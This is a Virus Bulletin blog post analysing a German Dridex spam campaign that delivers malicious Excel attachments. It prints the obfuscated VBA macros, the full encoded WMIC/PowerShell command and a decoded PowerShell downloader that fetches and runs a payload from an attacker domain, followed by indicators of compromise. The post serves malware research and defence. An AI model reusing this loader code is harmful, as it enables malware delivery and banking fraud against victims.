German Dridex spam campaign is unfashionably large

Posted by   Martijn Grooten on   Nov 6, 2019

This research was performed by Martijn Grooten, Peter Karsai and Ionuț Răileanu.

On this blog we have regularly reported on the tendency among malicious spam campaigns to be smaller in scale and more targeted, thus improving their chances of evading spam filters ─ indeed, we described exactly this strategy two days ago when writing about Emotet.

However, there are always exceptions to such trends: yesterday morning we spotted two fairly large spam campaigns with Excel attachments. The campaigns, which were in German, were everything that most malspam campaigns are not: large in scale, sent to many older spam traps, and with the same attachment shared by all emails in the campaign.

Such a campaign can be reasonably successful for the spammer if emails are sent in a short burst, allowing them to stay ahead of the email security products. Indeed, we noted that some of the emails, especially the earlier ones, were missed by some of the products in our test lab.

dridex_spam.png

The emails were all written in German and promised a bill in the attachment, which was an Excel file.

The following analysis is based on the attachment seen in the first campaign (SHA256: e108ca0f32af1ad5d73a8be3d8b954fd74a9187fe3ff5debb5007dc8ec1c3ce4).

The go-to tool for manual analysis of (potentially) malicious documents is Didier Stevens' oledump.py. Running python oledump.py Rechnungskopie_INV_00156696.xls showed that the file consists of 18 streams (the upper case M next to stream 12 indicates it contains VBA macros):

  1: 111 '\x01CompObj'
2: 248 '\x05DocumentSummaryInformation'
3: 208 '\x05SummaryInformation'
4: 96 'Ctls'
5: 112 'MBD034C119A/\x01CompObj'
6: 92 'MBD034C119A/f'
7: 0 'MBD034C119A/o'
8: 34601 'Workbook'
9: 507 '_VBA_PROJECT_CUR/PROJECT'
10: 83 '_VBA_PROJECT_CUR/PROJECTwm'
11: m 1005 '_VBA_PROJECT_CUR/VBA/DieseArbeitsmappe'
12: M 5974 '_VBA_PROJECT_CUR/VBA/Tabelle1'
13: 3631 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
14: 2424 '_VBA_PROJECT_CUR/VBA/__SRP_0'
15: 499 '_VBA_PROJECT_CUR/VBA/__SRP_1'
16: 654 '_VBA_PROJECT_CUR/VBA/__SRP_2'
17: 1594 '_VBA_PROJECT_CUR/VBA/__SRP_3'
18: 803 '_VBA_PROJECT_CUR/VBA/dir'

The macros were unpacked using the command python oledump.py Rechnungskopie_INV_00156696.xls -s 12 -v. We found dozens of lines of obfuscated VBA code. Though the primary goal of obfuscation is to evade detection, it also acts to frustrate researchers and it isn't immediately clear what the code does. A few things stand out though.

First, there is code that is run when the macro is activated that checks for one of five locales ─ if the locale is not set to one of these values the execution of the program ends:

Function Ansichn()
loba = msoLanguageIDUI: sAb = Application.LanguageSettings.LanguageID(loba)
fq = 2055: fw = 4103: fe = 5127: fr = 1031: ft = 3079
If fq = sAb Or sAb = fw Or fe = sAb Or sAb = fr Or ft = sAb Then Dateii Else ActiveWindow.Close savechanges:=False
End Function

Unsurprisingly, given the language of the campaign, these locales correspond to five German language locales ─ those for Switzerland (2055), Luxembourg (4103), Liechtenstein (5127), Germany (1031) and Austria (3079).

The second notable thing is that the core function refers to several cells in the spreadsheet.

Function Veranke()
aq = "": am = ""
For i = drukk / 2 To drukk - 5
If i < 16 Then
aq = aq + Kaaten(Cells(i, (drukk / 8) + 1))
Else
am = am + Kaaten(Cells(i, (drukk / 12) + 2))
End If
Next i
Shell aq + tapo(drukk, drukk / 3) + am, msoPickerFieldUnknown: ActiveWindow.Close savechanges:=False
End Function

(The function tapo is defined to be a copy of Cell, which reads the content of a cell.)

In white and very small font, the cells contain strings that are used to generate a shell command. The generation of this command is rather cumbersome by hand, but a debugger like ViperMonkey can help us automate part of this talk. It helped us find the following shell command:

wmIc "ProCESS" "cAlL" 'CreaTE' "pOwErSHelL -exEc BypaSS -win 01 -noPr -NONInTErAcTi -cOMM .( $PshomE[21]+$pShoME[34]+'x') ( "\"(nEw-ObJeCt SYStEm.Io.CoMpReSsIon.defLATEstreAM( [iO.meMorYSTReAm] [SysTem.CoNVert]::FRomBASe64sTRinG( 'dVQNb+I4EP0rFqJ1fCRREqAHRdHdbptuqViqK7C9E4uUNHEgNCRsYihc1v/9ZpLQj9OdhLHj+fCbN88Od4kvojQhzqMyjxKxaBY/JCuaRSht02irptmthwmjo3Z/VTsX+DONPgxD7cNkop9RbZWzpXa6ar9Xf/XAfxCmGff8ldIsbtwbSaKEwApOmvsrL1vU261m8YdkUg6aRfYg7fmUH4TuJH4aRMlycXk5m970wHYrbesXCxaROxvO3OFO2udKozBkYcnClA2ihXTMqUqf1twXML9o95QRcGmXLh30AveGFhKKdp7Anw5jzPHzkT9dxRFlg/DEzu0tINyXxCwB11Wa7HkmANFNlm4+ezm/6ExEBiDB7Ztkg4yLXYYlfpEDrCZ176Vd4gW00U7q1+lLEqdeUEcpiq5Q/gIgm8U0c2eOZERbp1FCYatFKRCzki2qbyl+0NX2N9pSTF23DPKTnCv0jLKC0MK4/FNSqJ5AugbWaNVl0nQDdX3hQnvwYJEEkFb76h2IecHI6SwChwHWY4BQHXfsfnMvhfN1iwUMZ9KG2gJJbKJXXNdELyGfH5XIj24gf+oVza/NQI5LVhGBlnlJkMJiSRnTE2/DiZbxbez5nDT0oiubDTjsbo0I/rqGir9j6XA41E7BIlwHTfduKvV895RX7BkqagKx/w0GYld86xnfpHteWlellVfRpZOWb+NIEIDyTppOLUyHy7mxwG7HI2n/rmBw4o4xeOpIfZpegWg/ZZl3LE1c2tC+1YoyBT8YZoRVJG0DqYPDYkHQovvpLhHlXqtVpo8ladmkvgTzz0fBF+g4x+gF0Z4OaXbaHSe4PZRnsBzXqRbVZfEmCO3BfZA69PhVibE7kgz4cxw5NxeDeZTqYRRzkO1jFgn+KY4xdQ6e67VUlbcaPuXyQ18sw4DOMMYGUago56/9x94ufeCw6v/avZNMH/FkKVZlzRBnsIIfIiEHtSIrOW4hJo85hzDTfLtmz+5oAqw8u3l1o18VjJqmwb9EfNJwH1ARQP0MqM8sovEfxEByh9CwuQeZ955IM6jahz4LHiW58BKfK3Nx3CIZSy5wFcJV9uM8CuBg3+h5YdA3tNDyTM00A1PrdbpdzTA8w++bYbvXA1QMmz8EXehB6u82PBG6twVZ+R5Wo2+9DLfyFY9jfuD+TnDlRB3UVbKX7arrqNI4bluUqQoltNVortek0aLOHhJM4MJHMHLBN+jQQE7aH14xauEjtmnD/9XlI/YDH7Qgfcknx1xAEMp3NoqlajDJ45wXepXGfGPXKoEACpgB1amf9av5/i2ZRCUUle7xjU3wbjsUhfjhYSD0GavK4U3539b334VgRLmvggsj7e5/6XUUJZVe76Q6z/iSH8BYCxW2p1yq9Pt1+ZgzPLc8/x8=') "\" + ([CHAr]44).ToStrInG() + "\" [iO.COmpRESsion.COmpRessionMOde]::DEcoMprEsS)|forEacH { nEw-ObJeCt SysTEM.io.StREAMReAder( `$_ "\" + ([CHAr]44).ToStrInG() + "\"[tExt.EnCODING]::ASCIi)}).ReADTOEnD( )|.( `$eNV:comsPec[4"\" + ([CHAr]44).ToStrInG() + "\"15"\" + ([CHAr]44).ToStrInG() + "\"25]-JoIN'')"\" )"

The command decodes a base64 string and then decompresses it, only to result in a PowerShell script:

function EW([int]${q}){${f}=103,115,115,111,114,57,46,46,109,100,99,113,110,109,110,102,45,98,110,108,46;foreach(${F`F} in ${F}){[char](${F`F}+${Q})}};${rR}=[Text.Encoding]::UTF8;${H}=2*2;${i`UIU`Iu}=&("{0}{2}{1}" -f'Ne','bject','w-O') ("{3}{2}{4}{1}{0}"-f t','en','.','Net','WebCli');function HH(${v}){${g}=[Convert]::FromBase64String(${V});return ${G};};${o`O}=${i`U`Iuiu}.DownloadString(((.('ew') ${Tr`UE}) -join'') +''+${h}+'.p'+''+'hp?'+(1..20 | &('%'){ '{0:X}' -f (.("{1}{2}{0}"-f'om','Get-Ra','nd') -Max 16) }) -join '');${yd}=${E`N`V`:tEMp};${IU}=(${d} = .("{0}{1}" -f'g','ci') ${y`d}|.("{3}{0}{2}{1}"-f 'et','m','-rando','g')).name -replace ".{5}$";${Jj}=${YD}+'\'+${IU}+'.';${t`E}=${O`o}.substring(0,${H});${z`o} =${o`O}.remove(0,${h});${e`E}=${z`o} -split ',';foreach(${E} in ${Ee}[0]){${lL}=@();${n`N}=${TE}.ToCharArray();${e}=.('hh')(${e});for(${i}=0;${I} -lt ${e}.count;${I}++){${ll} += [char]([Byte]${e}[${i}] -bxor[Byte]${Nn}[${I}%${NN}.count])}};${aS}=${R`R}.GetString(${l`L})+${EE}[1];[io.file]::WriteAllBytes(${jj},(.('hh')(${As} -replace ".{200}$")));if((&("{0}{1}"-f 'gc','i') ${j`J}).Length -lt 2000){exit};.("{1}{0}"-f'p','slee') 11;function k`LS{${k`s}=&("{1}{2}{0}" -f 'dom','Get-Ra','n') -Max 9;if (${ks} %2 -eq 0){${IN}=[activator]::createinstance([type]::gettypefromclsid("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"));${I`N}.document.application.parent.shellexecute(("{0}{1}{2}"-f 'ru','nd','ll32'),(' '+"$jj "+'EventS'+'i'+'stem'),("{2}{3}{4}{1}{0}"-f'2','em3','C:W','in','dowsSyst'),${n`ULl},0)}else{.("{2}{1}{0}" -f '2','ndll3','ru') ${j`J} ("{3}{1}{2}{0}"-f'Sistem','ve','nt','E')}};.("{0}{1}" -f 'k','ls');.("{1}{0}"-f'p','slee') 19;.("{0}{1}"-f 'slee','p') 35;[io.file]::WriteAllLines(${jJ},[regex]::replace(${Te},'\D','.'));.('ls')

This one is relatively easy to de-obfuscate and downloads a payload from the URL https://nedronog[.]com/4.php, followed by an argument. This payload is locally decoded to a PE file that is slightly different for every download and that we confirmed to be Dridex. Dridex is a banking trojan, which explains why the campaign is targeted to one particular language.

We did not analyse the Dridex variant itself, but noted that the PowerShell script randomly chooses between two ways to execute the malware: a DCOM-based method and a classic one using rundll32.

 

Indicators of compromise 

SHA256 hashes

6609dccb0efd4771150270be90d6c1f3ced588ba71e6274bfd23cede26c987f4 (attachment)
e108ca0f32af1ad5d73a8be3d8b954fd74a9187fe3ff5debb5007dc8ec1c3ce4 (attachment)
5e0a767efa0b8132a49d341eb0cc544ea89f19882ee14fd1c0368b4ca98c8e14 (Dridex; note that a different payload is generated each time)

Payload domain, IP address

nedronog[.]com
47.254.236.15

Email subject lines

xxxxxx / Rechnungskopie
Bestätigung / Rechnung xxxxxx - 1 : 05.11.2019
Kopie der Rechnung
Original-Rechnung
Rechnung Oktober 2019

 

Latest posts:

VB2019 paper: APT cases exploiting vulnerabilities in region-specific software

At VB2019, JPCERT/CC's Shusei Tomonaga and Tomoaki Tani presented a paper on attacks that exploit vulnerabilities in software used only in Japan, using malware that is unique to Japan. Today we publish both their paper and the recording of their…

New paper: Detection of vulnerabilities in web applications by validating parameter integrity and data flow graphs

In a follow-up to a paper presented at VB2019, Prismo Systems researchers Abhishek Singh and Ramesh Mani detail algorithms that can be used to detect SQL injection in stored procedures, persistent cross-site scripting (XSS), and server‑side request…

VB2020 programme announced

VB is pleased to reveal the details of an interesting and diverse programme for VB2020, the 30th Virus Bulletin International Conference.

VB2019 paper: Cyber espionage in the Middle East: unravelling OSX.WindTail

At VB2019 in London, Jamf's Patrick Wardle analysed the WindTail macOS malware used by the WindShift APT group, active in the Middle East. Today we publish both Patrick's paper and the recording of his presentation.

VB2019 paper: 2,000 reactions to a malware attack – accidental study

At VB2019 cybercrime journalist and researcher Adam Haertlé presented an analysis of almost 2000 unsolicited responses sent by victims of a malicious email campaign. Today we publish both his paper and the recording of his presentation.

We have placed cookies on your device in order to improve the functionality of this site, as outlined in our cookies policy. However, you may delete and block all cookies from this site and your use of the site will be unaffected. By continuing to browse this site, you are agreeing to Virus Bulletin's use of data as outlined in our privacy policy.